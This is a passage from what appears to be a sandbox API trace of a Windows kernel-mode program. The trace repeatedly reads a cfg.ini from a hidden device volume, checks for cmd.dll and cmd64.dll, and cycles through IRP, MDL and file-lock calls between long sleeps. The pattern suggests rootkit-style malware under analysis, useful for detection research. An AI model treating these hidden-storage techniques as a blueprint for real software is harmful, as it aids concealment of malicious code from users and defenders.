ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.513] KeLeaveCriticalRegion () [0127.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.513] ReleaseMutex (hMutex=0xf0) returned 1 [0127.513] Sleep (dwMilliseconds=0x124f80) [0127.532] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.532] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.532] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.532] KeEnterCriticalRegion () [0127.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.532] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.532] IdePortDispatch () returned 0x103 [0127.532] KeWaitForMutexObject () returned 0x0 [0127.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbf10 [0127.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.532] KeLeaveCriticalRegion () [0127.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.532] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.532] KeEnterCriticalRegion () [0127.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.533] KeLeaveCriticalRegion () [0127.533] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.533] KeEnterCriticalRegion () [0127.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.533] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.533] IdePortDispatch () returned 0x103 [0127.533] KeWaitForMutexObject () returned 0x0 [0127.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.533] KeLeaveCriticalRegion () [0127.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.533] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.533] KeEnterCriticalRegion () [0127.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1d000 [0127.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.533] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.533] IdePortDispatch () returned 0x103 [0127.534] KeWaitForMutexObject () returned 0x0 [0127.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.534] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.534] IdePortDispatch () returned 0x103 [0127.534] KeWaitForMutexObject () returned 0x0 [0127.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.534] KeLeaveCriticalRegion () [0127.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.535] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.535] KeEnterCriticalRegion () [0127.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] KeLeaveCriticalRegion () [0127.535] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.535] KeEnterCriticalRegion () [0127.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.535] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] KeLeaveCriticalRegion () [0127.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.535] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.535] KeEnterCriticalRegion () [0127.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] ExFreePoolWithTag (P=0xfffffa8003bfbf10, Tag=0x0) [0127.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.535] KeLeaveCriticalRegion () [0127.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.535] ReleaseMutex (hMutex=0xf0) returned 1 [0127.535] Sleep (dwMilliseconds=0x124f80) [0127.556] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.556] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.556] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.556] KeEnterCriticalRegion () [0127.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.556] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.556] IdePortDispatch () returned 0x103 [0127.556] KeWaitForMutexObject () returned 0x0 [0127.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.556] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.556] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.556] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.557] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.557] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfbf10 [0127.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.557] KeLeaveCriticalRegion () [0127.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.557] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.557] KeEnterCriticalRegion () [0127.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.557] KeLeaveCriticalRegion () [0127.557] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.557] KeEnterCriticalRegion () [0127.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.557] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.557] IdePortDispatch () returned 0x103 [0127.557] KeWaitForMutexObject () returned 0x0 [0127.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.557] KeLeaveCriticalRegion () [0127.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.557] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.558] KeEnterCriticalRegion () [0127.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b26000 [0127.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.558] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.558] IdePortDispatch () returned 0x103 [0127.558] KeWaitForMutexObject () returned 0x0 [0127.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.558] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.558] IdePortDispatch () returned 0x103 [0127.558] KeWaitForMutexObject () returned 0x0 [0127.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.559] KeLeaveCriticalRegion () [0127.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.560] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.560] KeEnterCriticalRegion () [0127.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.560] KeLeaveCriticalRegion () [0127.560] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.560] KeEnterCriticalRegion () [0127.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.560] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.560] KeLeaveCriticalRegion () [0127.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.561] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.561] KeEnterCriticalRegion () [0127.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.561] ExFreePoolWithTag (P=0xfffffa8003bfbf10, Tag=0x0) [0127.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.561] KeLeaveCriticalRegion () [0127.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.561] ReleaseMutex (hMutex=0xf0) returned 1 [0127.561] Sleep (dwMilliseconds=0x124f80) [0127.583] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.583] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.583] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.583] KeEnterCriticalRegion () [0127.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.583] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.583] IdePortDispatch () returned 0x103 [0127.583] KeWaitForMutexObject () returned 0x0 [0127.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.583] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.583] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.583] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.583] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.583] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.583] KeLeaveCriticalRegion () [0127.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.583] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.583] KeEnterCriticalRegion () [0127.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.584] KeLeaveCriticalRegion () [0127.584] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.584] KeEnterCriticalRegion () [0127.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.584] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.584] IdePortDispatch () returned 0x103 [0127.584] KeWaitForMutexObject () returned 0x0 [0127.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.584] KeLeaveCriticalRegion () [0127.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.584] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.584] KeEnterCriticalRegion () [0127.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.584] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2b000 [0127.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.585] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.585] IdePortDispatch () returned 0x103 [0127.585] KeWaitForMutexObject () returned 0x0 [0127.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.585] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.585] IdePortDispatch () returned 0x103 [0127.585] KeWaitForMutexObject () returned 0x0 [0127.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.585] KeLeaveCriticalRegion () [0127.585] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.586] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.586] KeEnterCriticalRegion () [0127.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] KeLeaveCriticalRegion () [0127.586] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.586] KeEnterCriticalRegion () [0127.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.586] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] KeLeaveCriticalRegion () [0127.586] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.586] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.586] KeEnterCriticalRegion () [0127.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.586] KeLeaveCriticalRegion () [0127.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.587] ReleaseMutex (hMutex=0xf0) returned 1 [0127.587] Sleep (dwMilliseconds=0x124f80) [0127.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.597] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.597] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.597] KeEnterCriticalRegion () [0127.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.597] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.597] IdePortDispatch () returned 0x103 [0127.597] KeWaitForMutexObject () returned 0x0 [0127.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.597] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.597] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.597] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.597] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.597] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb210 [0127.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.597] KeLeaveCriticalRegion () [0127.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.597] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.597] KeEnterCriticalRegion () [0127.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 